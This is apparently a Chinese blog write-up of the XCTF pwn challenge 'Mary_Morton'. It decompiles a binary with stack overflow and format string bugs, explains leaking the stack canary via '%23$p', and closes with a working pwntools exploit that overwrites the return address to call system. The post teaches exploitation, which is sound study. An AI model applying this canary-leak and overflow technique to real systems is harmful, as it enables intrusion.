xctf-Mary_Morton

一道很简单的题目,但是可以用来深入理解之前学到的相关基础知识,从简单到复杂。

逆向分析

main函数

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // [rsp+24h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_4009FF();
  puts("Welcome to the battle ! ");
  puts("[Great Fairy] level pwned ");
  puts("Select your weapon ");
  while ( 1 )
  {
    while ( 1 )
    {
      sub_4009DA();
      __isoc99_scanf("%d", &v3);
      if ( v3 != 2 )
        break;
      sub_4008EB();
    }
    if ( v3 == 3 )
    {
      puts("Bye ");
      exit(0);
    }
    if ( v3 == 1 )
      sub_400960();
    else
      puts("Wrong!");
  }
}

int sub_4009DA()
{
  puts("1. Stack Bufferoverflow Bug ");
  puts("2. Format String Bug ");
  return puts("3. Exit the battle ");
}

可以看到存在栈溢出和格式化字符串漏洞,两个漏洞同时实现比较简单,但是通过单个能否实现,格式化字符串可以,但是栈溢出如何泄露canary,并且找到ret的位置呢。

栈溢出漏洞

unsigned __int64 sub_400960()
{
  char buf[136]; // [rsp+0h] [rbp-90h] BYREF
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(buf, 0, 0x80uLL);
  read(0, buf, 0x100uLL);    //栈溢出漏洞
  printf("-> %s\n", buf);
  return __readfsqword(0x28u) ^ v2;
}

格式化字符串漏洞

unsigned __int64 sub_4008EB()
{
  char buf[136]; // [rsp+0h] [rbp-90h] BYREF
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(buf, 0, 0x80uLL);
  read(0, buf, 0x7FuLL);      
  printf(buf);        //存在格式化字符串漏洞
  return __readfsqword(0x28u) ^ v2;
}

可以通过IDA的字符串模块,找到system函数,并且得到对应的虚拟地址。

要考虑一个问题为什么这个00000000004008DA地址可以直接在exp中使用,IDA显示的是什么地址。可以参考:动静结合调试——IDA地址与windbg地址对应 - 简书

总的来说:IDA显示的是虚拟地址,虚拟地址等于装载地址+相对虚拟地址。这个虚拟地址如果没有ASLR和PIE的话,其实就是我们要用的地址。但是如果开启了ASLR和PIE就会导致这个地址发生变化。而且一般碰到的.text都是以400000开始的,比较小的话就是文件偏移了。

.text:00000000004008DA sub_4008DA      proc near
.text:00000000004008DA ; __unwind {
.text:00000000004008DA                 push    rbp
.text:00000000004008DB                 mov     rbp, rsp
.text:00000000004008DE                 mov     edi, offset command ; "/bin/cat ./flag"
.text:00000000004008E3                 call    _system
.text:00000000004008E8                 nop
.text:00000000004008E9                 pop     rbp
.text:00000000004008EA                 retn
.text:00000000004008EA ; } // starts at 4008DA
.text:00000000004008EA sub_4008DA      endp

攻击方案

使用格式化字符串漏洞泄露canary,再使用栈溢出ret2libc即可。

输入aaaa-%p-%p-%p-%p-%p-%p

可以看到是第6个存放buf,再通过buf和canary的相对偏移即可得到canary的偏移为6+0x88/8=23。

栈溢出需要依次覆盖buf,canary,老的rbp,返回地址。

    High
        Address |                 |
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
                | old ebp         |
      rbp =>    +-----------------+
                | canary value    |
    rbp-8 =>    +-----------------+
                | 局部变量         |
        Low     |                 |
        Address

exp

同时使用栈溢出和格式化字符串漏洞。

from pwn import *
r = remote('111.200.241.244','64588')
#r = process('./canary')

r.sendlineafter('battle ','2')
r.sendline('%23$p')  
r.recvuntil('0x')
canary=int(r.recv(16),16)
print(hex(canary))
r.sendlineafter('battle ','1')

system_addr= 0x4008DA
r.sendline('a'*0x88+p64(canary)+'a'*8+p64(system_addr))
r.interactive()
posted @ 2022-01-09 16:28  ddddd1234654732  阅读(59)  评论(1)    收藏  举报
Live2D